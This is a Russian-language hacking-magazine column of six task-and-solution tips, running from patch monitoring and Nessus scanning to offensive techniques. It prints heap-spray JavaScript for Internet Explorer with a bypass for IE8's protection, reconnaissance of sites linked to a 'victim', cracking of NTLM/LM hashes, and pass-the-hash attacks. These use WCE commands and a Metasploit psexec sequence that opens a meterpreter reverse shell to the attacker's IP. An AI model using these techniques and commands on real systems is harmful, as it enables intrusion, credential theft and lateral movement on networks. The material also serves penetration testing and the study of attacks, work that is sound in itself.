Содержание статьи
- Задача: Организовать контроль уязвимого ПО под Windows
- Решение
- Задача: Внедрить Heapspray в Internet Explorer 8
- Решение
- Задача: Автоматизированный поиск уязвимостей в сетке
- Решение
- Задача: Поиск взаимосвязанных сайтов
- Решение
- Задача: Вынуть пароль из NTLM/LM-хеша
- Решение
- Задача: Получаем админские права под Windows без брута NTLM/LM-хешей
- Решение
Задача: Организовать контроль уязвимого ПО под Windows
Решение
Не секрет, что количество client-side-атак все увеличивается и увеличивается, поэтому надо задуматься и о своей безопасности. Мы с вами люди, конечно, прошаренные, но не всегда удается уследить за дырками и заплатками ко всему тому ПО, что стоит на домашних компах, особенно если это ОС из семейства Windows. Поэтому рекомендую такую классную вещь, как PSI от Secunia (secunia.com/vulnerability_scanning/personal/).
Эта тулза мониторит установленное на твоем компе ПО на предмет известных уязвимостей. И если такое присутствует, дает ссылку на его обновление, либо исправление. Особое внимание уделено дыркам в браузерах, их плагинах, элементах ActiveX.
Конторе Secunia можно доверять: тулза знает большое количество самого распространенного ПО, а база уязвимостей содержит самую актуальную информацию (что приятно — иногда с точным описанием уязвимостей). Подытожу: такое ПО можно добавить в джентельменский набор к антивирю и файеру. Да и обычным юзерам желательно его поставить: мозгов особо не нужно, а основные дырки все же будут закрыты.
Задача: Внедрить Heapspray в Internet Explorer 8
Решение
Несколько лет назад, до Explorer’а 8, было очень модно использовать технику хипспрея. В основном это делалось для создания живучих сплоитов, так как вне зависимости от системы мы знали, где находится шеллкод. Напомню, что хипспрей — это создание большого количества куч, заполненных NOP’ами с шеллкодом в конце. Мы создаем их так много, что забиваем всю память. А потому почти со 100% вероятностью можем утверждать, что если передать управление по адресу 0x0d0d0d0d, например, то попадем в нашу кучу, где сначала исполнится NOP-sled, а потом и наш шеллкод. Сами кучи, в основном, создавались посредством следующего JavaScript-кода:
//Shellcode в переменную:
var shell = unescape("какой-то_шеллкод");
//NOPы:
var bigbk=unescape("%u9090%u9090%u9090%u9090");
while(bigbk.length<0x50000) bigbk=bigbk+bigbk;
//Создаем кучи
var mem=new Array();
for(i=0; i<400;i++) {mem[i]=bigbk+shell;}
Но в Internet Explorer 8 люди из Майкрософта создали защиту от хипспрея на JS. Это стало одной из причин появления и распространения всяческих JIT-spray техник на основе Flash’а, Java, .NET-технологий, о которых можно было прочесть в прошлых номерах в статьях Алексея Синцова.
Однако не так давно Dave Aitel из компании IMMUNITY показал, как можно обойти защиту от хипспрея в IE8. А именно:
//Создаем кучи
var h1=new Array();
h1[0] = bigbk + shell;
for (var i = 1 ; i < 300 ; i++) {
h1[i] = h1[0].substring(0,h1[0].length )
}
За это честь ему и хвала :). Более конкретных примеров приводить не буду, так как лучше посмотреть «вживую». А именно — в видеоролике к статье из прошлого номера про банк-клиенты за авторством все того же Алексея Синцова.
Задача: Автоматизированный поиск уязвимостей в сетке
Решение
Вернемся к олдскулу. Лет 10 назад всевозможные сканеры уязвимостей (Nessus, Retina, Xspider, etc.) были очень распространены, очень модны.
Большая часть «взломов» заключалась в сканировании подсетки каким-нибудь из них, нахождению сплоита под обнаруженную узявимость и эксплуатацию его. В общем-то, изменилось немногое :). Разве что ПО стало «покрепче», а народ в массах перешел на взлом сайтов.
Куча проектов зародилось в те времена, но только несколько дожили до наших дней. Правда, теперь это в основном высококлассное платное ПО.
Хотя к взлому это имеет косвенное отношение: использование сканеров уязвимостей типа Nessus — достаточно «шумный» процесс. Но если ты находишься на светлой стороне, то можешь найти уязвимости в подвластной тебе сетке и радоваться этому :). Хотя и для другой стороны есть свои бонусы. Можно, например, смоделировать вражескую подсетку или отдельные хосты с сервисами и натравить на них сканер. А выявленные уязвимости уже вручную попробовать реализовать на жертве. Все-таки базы уязвимостей у сканеров очень приличные.
Как уже было написано выше, продукты в основном платные. Но есть пара вариантов. К примеру, можно попробовать такой классический вариант, как Nessus (tenable.com/nessus/).
Имеется версия, немного урезанная для «домашнего использования» (эх, а раньше был опенсорсным :)). Сам Nessus модульный и имеет клиент-серверную архитектуру. Основной функционал несут плагины.
Ставится сканер очень просто:
- Устанавливаем сервак;
- Запускаем Nessus Server Manager и прописываем ключ, выданный на сайте после прохождения регистрации;
- Там же прописываем пользователей;
- Коннектимся на https://localhost:8834/.
Далее требуется создать и настроить профиль для сканирования (policies), потом уже можно сканировать(scans). Итоги — в Reports. Прога в основе простая, но имеет широкие возможности по настройке. И чтобы не потеряться, имеется хорошая документация и набор видеороликов на сайте производителя. Интересно будет всем, хотя бы побаловаться.
В общем, строим пентест-лабораторию, ставим сканер и повышаем свои скиллы :).
Задача: Поиск взаимосвязанных сайтов
Решение
Сбор информации о жертве — дело важное, с этим вряд ли кто-то поспорит. Когда цель — небольшой сайт, то проблем особых нет. Пробежался ручками по сайту, его «соседям» и по его «возможностям»; просканил spider’ом структуру; нашел хостинг, да CMS’ку — и дело в шляпе. Основные направления возможных векторов атаки у нас в руках.
Но когда «работаешь» с чем-то более крупным, дело достаточно сильно усложняется. Особенно если требуется не просто найти какую-то одну уязвимость и влезть через нее, а рассмотреть все возможные пути причинения ущерба ресурсу. Либо в ситуациях, когда основной сайт достаточно хорошо защищен, попытаться «залезть» через его «соседей». Под «соседями» здесь понимаются ресурсы, которые каким-либо образом взаимосвязаны с нашей целью, будь то бизнес-отношения, либо технические (обмен контентом, например).
Большая часть действий производится с минимальной автоматизацией. Для понимания взаимоотношений между сайтами нужен мозг :). Но чтобы не лазить по просторам сайтов впустую и не тратить драгоценное время, есть один наборчик, который может нам помочь.
Небезызвестная компания Sensepost еще 6 лет назад представила набор скриптов на Perl’е для сбора информации о ресурсах — BiLE-suite (sensepost.com/cms/resources/labs/tools/misc/BiLE-suite.tgz). Сейчас набор входит и в платный пакет BiDiBLAH.
BiLE-suite включает в себя разнообразные тулзы, большая часть которых связана с работой с DNS. Но есть пара под нашу задачу — BiLE.pl и BiLEweigh.pl. Суть заключается в том, что сначала первый скрипт, используя запросы в гугле в стиле «link:», находит сайты, ссылающиеся на нашу жертву. Потом, сканируя структуру нашей жертвы, находит все исходящие ссылки. А с помощью BiLE-weigh определяются весовые коэффициенты, указывающие на взаимосвязанность сайтов между собой. Причем последний скрипт дает оценку не просто по количеству ссылок между сайтами; учитывается и то, ссылаются ли они друг на друга или только «в одну сторону», и какое общее количество исходящих ссылок на конечных сайтах (чтобы снизить оценку новостным порталам).
Для работы скрипта требуется HTTrack (httrack.com/page/2/en/index.html). HTTrack — это оффлайн-браузер, с помощью которого BiLE скачивает сайты и потом уже парсит их, доставая ссылки.
HTTrack есть и под Win, и под *nix’ы. Скрипты BiLE-suite заточены под никсы, но поработав напильником, можно заставить их работать и под виндой. Мне скрипты понравились, я себе на BackTrack4 поставил.
Итак, сначала ставим HTTrack:
#tar xvfz httrack-3.43-9C.tar.gz
#./configure && make && su -c 'make install'
На сайте написано, что можно поставить webhttrack с репозитория, но там не та версия, которая требуется. Далее пришлось подкорректировать BiLE-weigh.pl:
Заменяем:
`cat temp | sort -r -t ":" +1 -n > @ARGV[1].sorted`;
На:
`cat temp | sort -r -t ":" --key=2 > @ARGV[1].sorted`;
Возможно, также придется подкорректировать переменную $mc в 67 строке в BiLE.pl. Например, убрать скачку swf-файлов, которые для нас бессмысленны, или указать полный путь до HTTrack для работы под Win.
Пример использования BiLE по сайту backtrack-linux.org:
perl BiLE.pl www.backtrack-linux.org BT
Где www.backtrack-linux.org — название анализируемого ресурса;
BT — название итогового файла.
Если точнее, то будет BT.mine и BT.warus, но последний ни для чего не используется.
Запускаем определение и сортировку весовых коэффициентов:
perl BiLE-weigh.pl www.backtrack-linux.org BT.mine
В итоге мы получим BT.mine.sorted. То есть список взаимосвязанных сайтов в порядке убывания, по которым и начинаем ползать ручками :).
Задача: Вынуть пароль из NTLM/LM-хеша
Решение
Издревле одной из основных целей взлома являлось получение админского доступа к хосту. И если отбросить все, то данный доступ подразумевает знание админского пароля. Откуда же его получить? Способов масса :). Но сегодня мы поговорим о том, как вынимать их прямо из ОС. А точнее, о Windows-системах с их LSA- и SAM-хранилищами.
Я думаю, всем известно, что Windows не хранит пароли в открытом виде. Он их в NTLM и LM-хешах хранит. По сути, это MD4 и DES-хеш соответственно. Как понятно, доступ к LSA- и SAM-хранилищам (есть еще места) простым смертным закрыт. Но хорошие дяди в разноцветных шапках написали кучку тулз, чтобы вынуть хешики из того или иного места.
Жаль, что для большей части этих тулз требуются высокие привилегии из-за необходимости использования техники DLL-инжекта, а именно — SeDebugPrivilege. Кроме этого хеши можно получить с помощью снифферов.
На самом деле проблем, связанных с безопасностью у NTLM’а, как протокола, достаточно много. Причем они настолько глубоки, что не имеют простых решений в данной реализации (точнее, реализациях) протокола.
Но перейдем к делу. Предположим, мы влезли в систему под управлением ОС Windows и сдампили хеши, используя тулзу pwdump, например, или проснифали NTLM-хеш с challenge’ем, используя модуль smb_sniff из Metasploit’a (см. майский номер журнала). Что с ними делать дальше?
Методов несколько, но для примера пробрутфорсим с помощью такой чудо-проги, как Cain&Abel (oxid.it/cain.html).
Все, что нам требуется — подгрузить хеши в прогу (вкладка Cracker) и выбрать метод перебора:
- Прямой перебор;
- По словарю;
- По радужным таблицам.
Далее можно начинать перебор. Если доступен LM-хеш, то лучше начать с него. Так как он, во-первых, регистронезависмый, уменьшается набор символов для перебора. А, во-вторых, состоит из двух частей по 7 символов, каждый из которых можно брутить отдельно.
Причем пароль дополняется нулями, если он меньше 14 символов. Поэтому, найдя кусок из второй части, можно уже более нацелено подойти к подбору первой. Все это существенно ускоряет процесс перебора. После этого можно перебрать NTLM-хеш, определив тем самым регистр найденного пароля. C LM-хешами есть пара важных моментов:
- Начиная с Висты, LM-хеши не генерятся для пользователей;
- Если пароль длиннее 15 символов, то его нельзя восстановить из LM-хеша;
- Большинство тулз по подбору некорректно работают с русской кодировкой cp866.
Думаю, с настройками перебора в Cain’е проблем возникнуть не должно:
- Выбираем тип перебора;
- Тип хеша;
- Словарь или алфавит для перебора.
Если же пасс получен из сниффера, то тип выбирается с пометкой Challenge. У smb_relay сhallenge равен «1122334455667788». Но если приходится часто сталкиваться с перебором, особенно по большим алфавитам, то желательно воспользоваться «радужными таблицами» (rainbow tables). Поскольку за пару абзацев идею не донести, читай статейку habrahabr.ru/blogs/algorithm/82941/, а также гугл в помощь. А для приближенного понимания — суть в том, что в таблицах уже просчитаны и специальном образом свернуты хеши для большого количества паролей.
Таблицы достаточно крупные по своим размерам, генерятся достаточно долго, но оправдываются высокой скоростью нахождения пассов в дальнейшем.
Достать их можно либо в Сети (ищи на торрентах), либо купив, либо сгенерив на дому. Для генерации таблиц можно использовать либо rtgen.exe из набора RainbowCrack (project-rainbowcrack.com/index.htm), либо используя winrtgen.exe из Cain’а. Но у последней, опять же, траблы с русским языком.
Брутфорсить по полученным таблицам лучше с помощью RainbowCrack. Кстати, есть мнение, что добавление соли (salt) к паролю при использовании хеш-функций (как, например, это делается на многих форумах) не дает возможность использовать радужные таблицы для перебора.
Это не так. Проблема заключается лишь в том, что нужно будет создать радужные c этой солью. Поэтому есть таблицы и для NTLM-, и для NTLM+challenge-хешей.
Задача: Получаем админские права под Windows без брута NTLM/LM-хешей
Решение
Я продолжу предыдущую тему, но несколько в другом контексте. Пасс админа — вещь, конечно, прекрасная, но цель наша — все-таки админский доступ.
К тому же, если говорить о доменном админе, то до его прав или хешей во многих случаях получается добраться постепенно. А начинается это, чаще всего, с компа какой-нибудь бесправной секретарши. Потом — права какогонибудь саппорта, админские и т.д. Хеши — это конечно прекрасно, но брутить все подряд — дело долгое. К нашей радости, все в том же протоколе NTLM, в обеих его реализациях, есть большая дырка. Для аутентификации достаточно знать только хеш пользователя. То есть даже брутить ничего не надо. Достал хеш — и можешь лазить по сетке с правами скомпрометированного юзера :). Техника тоже очень старая, в теории существующая аж с 1997 года.
Название — Pass The Hash. По факту очень юзабельна. Тулз для реализации несколько.
Я опишу две. От «создателя» техники — Hernan Ochoa (oss.coresecurity.com/pshtoolkit/doc/index.html и hexale.blogspot.com) и модуль, входящий в состав Metasploit.
Не так давно pshtoolkit был переработан и теперь называется WCE: Windows Credentials Editor (www.ampliasecurity.com/research/wce_v1.0.tgz). Не обращай внимание на «странное» расширение — в архиве обычный ехе’шник.
Итак, основные возможности WCE. Для начала можно вынуть NTLM/LM-хеши из памяти.
То, что в памяти:
>wce.exe –l
После каждого logon’а:
>wce.exe –e
Каждые 10 секунд:
>wce.exe –r10
Записать итог в память:
>wce.exe –o ntlms.txt
Далее — добавить/удалить хеши в память, модификация данных по сессиям:
> wce.exe -s user:Victim:1F27ACDE849935B0AAD3B435B5140
4EE:579110C4914
5015C47ECD267657D3174 -c "c:\Program Files\Internet
Explorer\iexplore.exe"
Где -s «добавляет» нового пользователя с именем «user», доменом «Victim» и последующим LM- и NTLM-хешем, а -с указывает, какую программу следует запустить под этим пользователем (в примере — Проводник). В Metasploit’е, как обычно, все делается быстро и просто. Запускаем модуль для выполнения pth:
msf>use exploit/windows/smb/psexec
Нагрузка — метерпретер и свой IP для бекконнекта:
msf>set PAYLOAD windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.146.129
Указываем нашу жертву:
msf>set RHOST 192.168.0.101
Имя пользователя, от которого будут выполняться команды:
msf>set SMBUser Администратор
И его "LM:NTLM" хеши:
msf>set SMBPass 1F27A…….04EE:579…….2676
Запускаем атаку:
msf>exploit
В итоге получаем доступ к хосту с правами пользователя через Meterpreter.